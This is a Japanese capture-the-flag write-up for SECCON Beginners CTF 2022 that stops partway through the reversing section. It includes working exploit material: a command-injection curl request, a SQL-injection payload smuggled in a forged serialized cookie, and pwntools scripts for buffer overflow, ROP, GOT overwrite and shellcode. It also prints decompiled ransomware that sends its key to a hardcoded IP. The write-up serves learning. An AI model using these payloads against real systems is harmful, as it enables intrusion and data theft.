SECCON Beginners 2022 Writeup

2022/6/4 14:00 JST から 2022/6/5 14:00 JSTに開催されたSECCON Beginners CTF 2022 のWriteupです。

個人チームで参加し、2097pt獲得して16/891位でした。

Web

Util

入力したIPアドレスPingを送ってくれるサービスです。 main.goを見ると、OSコマンドインジェクションを行えそうな箇所があります。

r.POST("/util/ping", func(c *gin.Context) {
        var param IP
        if err := c.Bind(&param); err != nil {
                c.JSON(400, gin.H{"message": "Invalid parameter"})
                return
        }

        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
        result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

        c.JSON(200, gin.H{
                "result": string(result),
        })
})

IPアドレスの欄に127.0.0.1 && cat flag*などを入力してcheckを押してみるとInvalid IP addressと表示されてしまいました。

ページのソースからcheckを押したときの処理を確認すると、IPアドレスをチェックしている箇所が見つかります。

if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
    ...
} else {
    document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
}

この処理はクライアント側で行っているため、直接https://util.quals.beginners.seccon.jp/util/pingにPOSTリクエストを送信すると、これを回避できます。

curl -X POST -H "Content-Type: application/json" -d '{"address":"127.0.0.1 && cat ../flag*"}' https://util.quals.beginners.seccon.jp/util/pi
ng
{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.067 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.067/0.067/0.067 ms\nctf4b{al1_0vers_4re_i1l}\n"}

textex

tex\input{<filename>}を使うと、ほかのファイルを読み込むことができるため\input{./flag}で終わり。と言いたいところですが、texソースコード内にflagがあると、ソースコードをすべて消されてしまいます。

そこで、\newcommandを使ってこれを回避します。\newcommand\x{fl}のようにすると、本文中で\xとした部分がflに置き換わります。そのため、\newcommand\x{fl},\newcommand\y{ag}の二つを書いておけば\x\yとするだけでflagを文書中で使えるようになります。

よって、

\documentclass{article}
\begin{document}

\newcommand\x{fl}
\newcommand\y{ag}

\input{./\x\y}

\end{document}

とすればよさそうなのですが、これではエラーが発生してしまいます。

flagの形式はctf4b{hogehoge_fugafuga}であるため、texの制御文字である_が含まれています。 \input$で囲って数式にしてやると_が下付き文字として動作でき、エラーが発生しなくなります。

\documentclass{article}
\begin{document}

\newcommand\x{fl}
\newcommand\y{ag}

$
\input{./\x\y}
$

\end{document}

{}が消えているので復元し、下付き文字の前に_を入れるとフラグになります。

ctf4b{15_73x_pr0n0unc3d_ch0u?}

handlers.goのIndexHandlerの23行目あたりに見るからに怪しい箇所があります。

// replace suspicious chracters
fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
fileExtension = strings.ReplaceAll(fileExtension, "flag", "")

この部分より、fileExtensionflagにすると何か起きそうです。 ReplaceAllはflagとなっている部分を消すだけなので、flaflaggのような文字列を渡すといい感じに消えてflagになります。

https://gallery.quals.beginners.seccon.jp/?file_extension=flaflaggにアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというフラグっぽいファイルが出てきました。 開いてみると?が大量に表示され、フラグが出てきませんでした。これは、MyResponseWriteがデータのサイズが10240byte以上の時、全て?に置き換えられるからです。

func (w *MyResponseWriter) Write(data []byte) (int, error) {
        filledVal := []byte("?")

        length := len(data)
        if length > w.lengthLimit {
                w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
                return length, nil
        }

        w.ResponseWriter.Write(data[:length])
        return length, nil
}

func middleware() func(http.Handler) http.Handler {
        return func(h http.Handler) http.Handler {
                return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
                        h.ServeHTTP(&MyResponseWriter{
                                ResponseWriter: rw,
                                lengthLimit:    10240, // SUPER SECURE THRESHOLD
                        }, r)
                })
        }
}

そこで、Range requestを行うことでデータのサイズを調整し?に変えられないようにします。

import requests

url = "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf"

res = requests.get(url)
size = len(res.text)

f = open("flag.pdf", "wb")
headers = {"Range": f"bytes=0-6000"}
res = requests.get(url, headers=headers)
data = res.content
f.write(data)

headers = {"Range": f"bytes=6001-"}
res = requests.get(url, headers=headers)
data = res.content
f.write(data)

f.close()
[::w300]

Serial

SQL Injectionの問題です。

database.phpのfindUserByNameにSQL Injecitonできそうな部分があります。

public function findUserByName($user = null)
{
    if (!isset($user->name)) {
        throw new Exception('invalid user name: ' . $user->user);
    }

    $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
    $result = $this->_con->query($sql);
    if (!$result) {
        throw new Exception('failed query for findUserByNameOld ' . $sql);
    }

    while ($row = $result->fetch_assoc()) {
        $user = new User($row['id'], $row['name'], $row['password_hash']);
    }
    return $user;
}

$user->namehoge' UNION SELECT body,"name","hash" FROM flags;#のようにすると、

SELECT id, name, password_hash FROM users WHERE name = 'hoge' UNION SELECT body,"name","hash" FROM flags;#

というSQL文が実行され、idの値がフラグとなっているユーザーでログインできそうです。

しかし、signup.phpからユーザーを作成する際に'UNIONなどがユーザー名に含まれていると?に置換されてしまいます。

class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

そこで、login関数に着目します。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        echo "ok";
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

cookie__CREDがセットされていれば、それをunserializeして$userとしています。そのため、__CREDを書き換えることで任意のUserオブジェクトを作成することができます。

ユーザー名がadmin' UNION SELECT body,'admin','passhash' FROM flags;#のUserを__CREDにセットし、ログインすることでidがフラグとなっているユーザーの__CREDが手に入りました。

以下の文字列はfindUserByNameの引数として与えられたとき、idがフラグになっているユーザーを追加するSQLiを実行するUserオブジェクトをserializeしたものです。

O:4:"User":3:{s:2:"id";s:4:"6355";s:4:"name";s:108:"admin' UNION SELECT body,'admin','$2y$10$611xOAF51kN2/6xf7SH7ce7yPxVBxJ9dSHviO/Exkp63Utu/n8WUK' FROM flags;#";s:13:"password_hash";s:60:"$2y$10$611xOAF51kN2/6xf7SH7ce7yPxVBxJ9dSHviO/Exkp63Utu/n8WUK";}7

これをbase64エンコードし、__CREDにセットしてページを更新すると__CREDが以下の文字列に変化しました。

O:4:"User":3:{s:2:"id";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:4:"name";s:5:"admin";s:13:"password_hash";s:60:"$2y$10$611xOAF51kN2/6xf7SH7ce7yPxVBxJ9dSHviO/Exkp63Utu/n8WUK";}

idからフラグがctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}であることがわかります。

misc

phisher

Unicode一覧homograph generatorとにらめっこしながら、一文字ずつ地道に求めるとŵŵŵ․ė×āⅿрⅼе․ćŏⅿで上手くいきました。

$ nc phisher.quals.beginners.seccon.jp 44322
       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\
|_|

FQDN: ŵŵŵ․ė×āⅿрⅼе․ćŏⅿ
ctf4b{n16h7_ph15h1n6_15_600d}

H2

Wiresharkで与えられたpcapファイルを開き、http2.type == 1でフィルタをかけて適当に眺めていると200 OK一つだけLengthの値が大きくなっているパケットが見つかりました。そのパケットのx-flagにフラグctf4b{http2_uses_HPACK_and_huffm4n_c0ding}が書かれていました。

hitchhike4b

よくわからなかったので適当に__main__と入力するとフラグの前半部分が手に入りました。

help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

modulesを実行してみるとapp_35f13ca33b0cc8c9e7d723b78627d39aceeac1fcという怪しい名前のモジュールが見つかったので、2回入力してみると後半部分のフラグが手に入りました。

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

Pwn

BeginnersBof

バッファオーバーフローでリターンアドレスをwinに書き換えるだけです。

from pwn import *

file_dir = "./chall"

elf = ELF(file_dir)
win_addr = elf.symbols["win"]
offset = 40

#p = process(file_dir)
p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)

payload = b'A' * offset
payload += p64(win_addr)

p.sendline(b"100")
p.sendline(payload)

p.interactive()
$ python3 solve.py
python3 pwn_tmpl.py
[*] '/home/miso/ctf/ctf4b_2022/pwn/BeginnersBof/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done
[*] Switching to interactive mode
How long is your name?
What's your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
Segmentation fault

raindrop

show_stackでsaved rbpが手に入るため、そこからbufferのアドレスを計算できます。 あとは、適当にROPを組むとsystem("/bin/sh")できます。

from pwn import *

elf = ELF("./chall")
call_system = 0x4011e5
rop_pop_rdi = 0x401453

p = remote("raindrop.quals.beginners.seccon.jp", 9001)

p.recvuntil("0002 | ")
saved_rbp = int(p.recvline().split()[0], 16)
buf_addr = saved_rbp - 0x20

payload = b'/bin/sh\x00'
payload += b'A' * (24 - len(payload))
payload += p64(rop_pop_rdi)
payload += p64(buf_addr)
payload += p64(call_system)

p.send(payload)
p.interactive()
$ python3 sol.py
[*] '/home/miso/ctf/ctf4b_2022/pwn/raindrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
[*] Switching to interactive mode
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x4141414141414141
 000002 | 0x4141414141414141  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007fffd63fae60
finish
$ ls
chall
flag.txt
redir.sh
welcome.txt
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

simplelist

メモの作成と編集、表示を行える実行ファイルが与えられます。 メモは単方向連結リストで実装されおり、list.hで以下のように定義されています。

#define CONTENT_SIZE 0x20

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

メモの作成と編集の処理を見ると、memo.contentへの入力をgetsで行っているためBOF脆弱性があります。これを利用して連続するmemoのnextを書き換えることで、好きなアドレスに好きな値を書き込めそうです。

メモを3つ作成した状況を考えます。

           e[0]           e[1]           e[2]
        +--------+     +--------+     +--------+
   next |00601000| --> |00601030| --> |  null  |  
        +--------+     +--------+     +--------+
content |Hello   |     |hogehoge|     |foobar  |
        |        |     |        |     |        |
        |        |     |        |     |        |
        |        |     |        |     |        |
        +--------+     +--------+     +--------+

1番目のメモのcontentを更新する際に、CONTENT_SIZE以上の長さの文字列を書き込むと2番目のメモのnextを書き換えることができます。 ここで、2番目のメモのnextをgot_exit - 8に書き換えると次のようになります。今回、got_exitのアドレスは0x403660とし、0x403658はatoiのgotとします。

           e[0]           e[1]           e[2]
        +--------+     +--------+     +---------+
   next |00601000| --> |00403658| --> |libc atoi|  
        +--------+     +--------+     +---------+
content |Hello   |     |????????|     |got exit | 
        |        |     |        |     |         |
        |        |     |        |     |         |
        |        |     |        |     |         |
        +--------+     +--------+     +------_--+

3番目のメモのnextがgot_exit-8が指すアドレス(この場合、libcのatoiのアドレス)となり、e[2]->contentがgot_exitを指すようになります。任意のメモのcontentが指すアドレスの内容は編集時に取得でき、自由に書き換えできます。libcのアドレスのリークを行い、GOT overwriteで適当なgotをone gadgetに書き換えるとシェルがとれました。

from pwn import *

libc = ELF("./libc-2.33.so")
elf = ELF("./chall")
got_puts = elf.got['puts']
got_setvbuf = elf.got['setvbuf']
plt_exit = elf.plt['exit']

p = remote("simplelist.quals.beginners.seccon.jp", 9003)
memo_num = 0

def create(content):
    global memo_num
    p.sendlineafter(b"> ", "1")
    p.sendlineafter(b": ", content)
    memo_num += 1

def edit(idx, content):
    p.sendlineafter(b"> ", "2")
    p.sendlineafter(b": ", str(idx))
    p.recvuntil(b": ")
    old = p.recvline()
    p.sendlineafter(b": ", content)
    return old

def show():
    p.sendlineafter(b"> ", "3")
    p.recvuntil(b"memos\n")
    p.recvline()
    return p.recvlines(memo_num*2)

create(b'hoge')
create(b'fuga')
create(b'foobar')

# leak libc
edit(0, b'A' * 0x28 + p64(got_setvbuf-8))
libc_setvbuf = u64(edit(2, b'AAAAA').strip().ljust(8, b'\x00'))
libc.address = libc_setvbuf - libc.symbols['setvbuf']

one_gadgets = [0xde78c, 0xde78f, 0xde792]

edit(0, b'A' * 0x28 + p64(got_puts-8))
edit(2, p64(libc.address + one_gadgets[1]))
p.interactive()

snowdrop

NX disabledなのでスタックに大量のnopとシェルコードを乗っけて、そこに飛ばせばおしまいです。

from pwn import *

context.binary = "./chall"

elf = ELF("./chall")
gets_plt = elf.symbols["_IO_gets"]
bss_addr = elf.bss() + 0x1000
rop_pop_rdi = 0x00401b84
offset = 24

p = process("./chall")
p = remote("snowdrop.quals.beginners.seccon.jp", 9002)

p.recvuntil(b"0006 | ")
saved_rbp = int(p.recvline().split()[0], 16) - 0x238

payload = b'A' * offset
payload += p64(saved_rbp)
payload += b'\x90' * 0x100
payload += asm(shellcraft.sh())

p.sendline(payload)
p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/ctf4b_2022/pwn/snowdrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Starting local process './chall': pid 30522
[+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done
[*] Switching to interactive mode
 000007 | 0x0000000000401905
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x4141414141414141  <- buf
 000001 | 0x4141414141414141
 000002 | 0x4141414141414141  <- saved rbp
 000003 | 0x00007fff3da02940  <- saved ret addr
 000004 | 0x9090909090909090
 000005 | 0x9090909090909090
 000006 | 0x9090909090909090
 000007 | 0x9090909090909090
finish
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{h1ghw4y_t0_5h3ll}

Reversing

Quiz

stringsでフラグが見つかります。

$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

radare2で静的解析をすると、check関数という名のそれっぽい関数が見つかりました。strncmpが呼び出されている部分にブレークポイントを仕掛けて動的解析すればよさそうです。

[0x004014d0]> s sym.check
[0x00401550]> pdf
            ; CALL XREF from sym.t1 @ 0x4017c3
            ; CALL XREF from sym.t2 @ 0x4018eb
┌ 77: sym.check (size_t arg4, size_t n);
│           ; var int64_t var_8h @ rbp-0x8
│           ; arg size_t n @ rbp+0x10
│           ; arg size_t arg4 @ rcx
│           0x00401550      55             push rbp
│           0x00401551      4889e5         mov rbp, rsp
│           0x00401554      4883ec30       sub rsp, 0x30
│           0x00401558      48894d10       mov qword [n], rcx          ; arg4
│           0x0040155c      8b05ce6a0000   mov eax, dword [0x00408030] ; [0x408030:4]=0
│           0x00401562      89c1           mov ecx, eax
│           0x00401564      488b05717d00.  mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue] ; [0x4092dc:8]=0x9566 reloc.KERNEL32.dll_TlsGetValue ; "f\x95"
│           0x0040156b      ffd0           call rax
│           0x0040156d      488945f8       mov qword [var_8h], rax
│           0x00401571      488b45f8       mov rax, qword [var_8h]
│           0x00401575      41b800010000   mov r8d, 0x100              ; 256
│           0x0040157b      488b5510       mov rdx, qword [n]          ; size_t n
│           0x0040157f      4889c1         mov rcx, rax
│           0x00401582      e8c1190000     call sym.strncmp            ; int strncmp(const char *s1, const char *s2, size_t n)
│           0x00401587      85c0           test eax, eax
│       ┌─< 0x00401589      7507           jne 0x401592
│       │   0x0040158b      b800000000     mov eax, 0
│      ┌──< 0x00401590      eb05           jmp 0x401597
│      ││   ; CODE XREF from sym.check @ 0x401589
│      │└─> 0x00401592      b801000000     mov eax, 1
│      │    ; CODE XREF from sym.check @ 0x401590
│      └──> 0x00401597      4883c430       add rsp, 0x30
│           0x0040159b      5d             pop rbp
└           0x0040159c      c3             ret

x64dbgで動的解析すると、テキストボックスに入力した文字列の一部がc4{fAPu8#FHh2+0cyo8$SWJH3a8Xと比較され、残りの部分がtfb%s$T9NvFyroLh@89a9yoC3rPy&3b}と比較されていることが分かりました。

テキストボックスにabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567を入力すると、

  • c4{fAPu8#FHh2+0cyo8$SWJH3a8XadfgjkmpsuvyzBEHJKNOQTWYZ235
  • tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}bcehilnoqrtwxACDFGILMPRSUVX01467

が比較されていたため、入力に対する正解の文字列の位置が分かりました。

flag1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
flag2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"

inp = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567"
m1 = "adfgjkmpsuvyzBEHJKNOQTWYZ235"
m2 = "bcehilnoqrtwxACDFGILMPRSUVX01467"

flag = [""] * 0x100

for i, m in enumerate(m1):
    idx = inp.index(m)
    flag[idx] = flag1[i]

for i, m in enumerate(m2):
    idx = inp.index(m)
    flag[idx] = flag2[i]

print("".join(flag))
$ python3 solve.py
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

recursive

初めに、与えられたバイナリをGhidaでデコンパイルしました。 check関数を見ると再帰的に自分自身を呼び出していることが分かります。

undefined8 check(char *param_1,int param_2)

{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;
  
  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

param_1の長さが1になったとき、param_1とtable[param_2]が一致しているか確認しています。この処理をPythonで書き直し、param_1の長さが1になった時のparam_2を記録していくとフラグが得られました。

table = [99, 116, 96, 42, 102, 52, 40, 43, 98, 99, 57, 53, 34, 46, 56, 49, 98, 123, 104, 109, 114, 51, 99, 47, 125, 114, 64, 58, 123, 38, 59, 53, 49, 52, 111, 100, 42, 60, 104, 44, 110, 39, 100, 109, 120, 119, 63, 108, 101, 103, 40, 121, 111, 41, 110, 101, 43, 106, 45, 123, 40, 96, 113, 47, 114, 114, 51, 124, 40, 36, 48, 43, 53, 115, 46, 122, 123, 95, 110, 99, 97, 117, 114, 36, 123, 115, 49, 118, 53, 37, 33, 112, 41, 104, 33, 113, 39, 116, 60, 61, 108, 64, 95, 56, 104, 57, 51, 95, 119, 111, 99, 52, 108, 100, 37, 62, 63, 99, 98, 97, 60, 100, 97, 103, 120, 124, 108, 60, 98, 47, 121, 44, 121, 96, 107, 45, 55, 123, 61, 59, 123, 38, 56, 44, 56, 117, 53, 36, 107, 107, 99, 125, 64, 55, 113, 64, 60, 116, 109, 48, 51, 58, 38, 44, 102, 49, 118, 121, 98, 39, 56, 37, 100, 121, 108, 50, 40, 103, 63, 55, 49, 55, 113, 35, 117, 62, 102, 119, 40, 41, 118, 111, 111, 36, 54, 103, 41, 58, 41, 95, 99, 95, 43, 56, 118, 46, 103, 98, 109, 40, 37, 36, 119, 40, 60, 104, 58, 49, 33, 99, 39, 114, 117, 118, 125, 64, 51, 96, 121, 97, 33, 114, 53, 38, 59, 53, 122, 95, 111, 103, 109, 48, 97, 57, 99, 50, 51, 115, 109, 119, 45, 46, 105, 35, 124, 119, 123, 56, 107, 101, 112, 102, 118, 119, 58, 51, 124, 51, 102, 53, 60, 101, 64, 58, 125, 42, 44, 113, 62, 115, 103, 33, 98, 100, 107, 114, 48, 120, 55, 64, 62, 104, 47, 53, 42, 104, 105, 60, 55, 52, 57, 39, 124, 123, 41, 115, 106, 49, 59, 48, 44, 36, 105, 103, 38, 118, 41, 61, 116, 48, 102, 110, 107, 124, 48, 51, 106, 34, 125, 55, 114, 123, 125, 116, 105, 125, 63, 95, 60, 115, 119, 120, 106, 117, 49, 107, 33, 108, 38, 100, 98, 33, 106, 58, 125, 33, 122, 125, 54, 42, 96, 49, 95, 123, 102, 49, 115, 64, 51, 100, 44, 118, 105, 111, 52, 53, 60, 95, 52, 118, 99, 95, 118, 51, 62, 104, 117, 51, 62, 43, 98, 121, 118, 113, 35, 35, 64, 102, 43, 41, 108, 99, 57, 49, 119, 43, 57, 105, 55, 35, 118, 60, 114, 59, 114, 114, 36, 117, 64, 40, 97, 116, 62, 118, 110, 58, 55, 98, 96, 106, 115, 109, 103, 54, 109, 121, 123, 43, 57, 109, 95, 45, 114, 121, 112, 112, 95, 117, 53, 110, 42, 54, 46, 125, 102, 56, 112, 112, 103, 60, 109, 45, 38, 113, 113, 53, 107, 51, 102, 63, 61, 117, 49, 125, 109, 95, 63, 110, 57, 60, 124, 101, 116, 42, 45, 47, 37, 102, 103, 104, 46, 49, 109, 40, 64, 95, 51, 118, 102, 52, 105, 40, 110, 41, 115, 50, 106, 118, 103, 48, 109, 52]
indices = []

def rec(size, idx):
    x = size
    if x == 1:
        indices.append(idx)
        return
    i = x // 2
    rec(i, idx)
    rec(size - i, i*i + idx)

rec(0x26, 0)

flag = b""

for idx in sorted(indices):
    flag += bytes([table[idx]])
print(flag)
$ python3 solve.py
b'ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}'

Ransome

ransomeをGhidraでデコンパイルします。

undefined8 FUN_001016a2(void)

{
  int __fd;
  int iVar1;
  void *__buf;
  FILE *__stream;
  undefined8 uVar2;
  char *pcVar3;
  size_t sVar4;
  void *pvVar5;
  FILE *__stream_00;
  long in_FS_OFFSET;
  size_t local_150;
  undefined local_128 [4];
  in_addr_t local_124;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __buf = malloc(0x11);
  FUN_00101606(0x10,__buf);
  __stream = fopen("ctf4b_super_secret.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Can\'t open file.");
    uVar2 = 1;
  }
  else {
    pcVar3 = fgets(local_118,0x100,__stream);
    if (pcVar3 != (char *)0x0) {
      sVar4 = strlen(local_118);
      pvVar5 = malloc(sVar4 << 2);
      FUN_0010157f(__buf,local_118,pvVar5);
      __stream_00 = fopen("ctf4b_super_secret.txt.lock","w");
      if (__stream_00 == (FILE *)0x0) {
        puts("Can\'t write file.");
        uVar2 = 1;
        goto LAB_0010191f;
      }
      local_150 = 0;
      while( true ) {
        sVar4 = strlen(local_118);
        if (local_150 == sVar4) break;
        fprintf(__stream_00,"\\x%02x",(ulong)*(byte *)(local_150 + (long)pvVar5));
        local_150 = local_150 + 1;
      }
      fclose(__stream_00);
    }
    fclose(__stream);
    __fd = socket(2,1,0);
    if (__fd < 0) {
      perror("Failed to create socket");
      uVar2 = 1;
    }
    else {
      local_128._0_2_ = 2;
      local_124 = inet_addr("192.168.0.225");
      local_128._2_2_ = htons(0x1f90);
      iVar1 = connect(__fd,(sockaddr *)local_128,0x10);
      if (iVar1 == 0) {
        write(__fd,__buf,0x11);
        uVar2 = 0;
      }
      else {
        perror("Failed to connect");
        uVar2 = 1;
      }
    }
  }
LAB_0010191f:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

main関数をざっと見ると、ctf4b_super_secret.txtの内容に対してFUN_0010157fで何らかの処理が行われていることが分かります。

undefined8 FUN_0010157f(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  long in_FS_OFFSET;
  undefined local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00101381(param_1,local_118);
  FUN_0010145e(local_118,param_2,param_3);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

param_1は16byteの文字列、param_2はctf4b_super_secret.txtの内容、param_3はbufferです。 FUN_0010157fの内部で呼び出されているFUN_00101381FUN_0010145eを読むとRC4で暗号化処理を行っていることが分かります。

ransomが行う処理をまとめると次の通りです。

  1. 鍵を生成する
  2. ctf4b_super_secret.txtを開く
  3. ctf4b_super_secret.txtを256byteずつRC4で暗号化する
  4. 暗号化したデータをctf4b_super_secret.txt.lockに書き込む

後は鍵を手に入れるだけです。ransomやctf4b_super_secret.txt.lockと一緒に与えられたtcpdump.pcapをWiresharkで開き、TCPストリームを追跡するとrgUAvvyfyApNPEYgという文字列が得られました。長さが16文字でアルファベットのみで構成されているため、この文字列がRC4の鍵だと考えられます。

from Crypto.Cipher import ARC4

enc = bytes.fromhex(open("ctf4b_super_secret.txt.lock").read().replace("\\x", ""))

key = b"rgUAvvyfyApNPEYg"
cipher = ARC4.new(key)
print(cipher.decrypt(enc))
$ python3 solve.py
b'ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}\n'

please not trace me

与えられたバイナリをGhidraでデコンパイルします。

undefined8 main(undefined8 param_1,char **param_2)

{
  int iVar1;
  long lVar2;
  long in_FS_OFFSET;
  uint local_20;
  char *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  lVar2 = syscall(0x13f,&DAT_00102004,0);
  iVar1 = (int)lVar2;
  if (iVar1 == -1) {
    err(1,"Can\'t unpack");
  }
  for (local_20 = 0; local_20 < binary_len; local_20 = local_20 + 1) {
    binary[local_20] = binary[local_20] ^ 0x16;
  }
  write(iVar1,binary,(ulong)binary_len);
  local_18 = (char *)0x0;
  iVar1 = fexecve(iVar1,param_2,&local_18);
  if (iVar1 == -1) {
    err(1,"Can\'t execute");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

大まかにまとめると、次の処理を行っています。

  1. syscallでmemfd_createを実行し、無名ファイルを作成する
  2. バイナリのアンパック
  3. fexecveでアンパックしたバイナリを実行

このアンパック処理をpythonで行い、実際に実行されているバイナリを手に入れました。

import lief

elf = lief.parse("please_not_debug_me")

bin_sym = elf.get_symbol("binary")
bin_addr = bin_sym.value
bin_size = bin_sym.size

packed_binary = elf.get_content_from_virtual_address(bin_addr, bin_size)
binary = bytes([x ^ 0x16 for x in packed_binary])

with open("unpacked", "wb") as f:
    f.write(binary)

次にアンパックしたバイナリをGhidraでデコンパイルし、check関数の処理を見ました。

void check(char *param_1,undefined8 param_2,undefined8 param_3,uchar *param_4)

{
  long in_FS_OFFSET;
  int local_a8;
  uint local_a4;
  FILE *local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined4 local_60;
  undefined2 local_5c;
  undefined local_5a;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  undefined2 local_1c;
  undefined local_1a;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
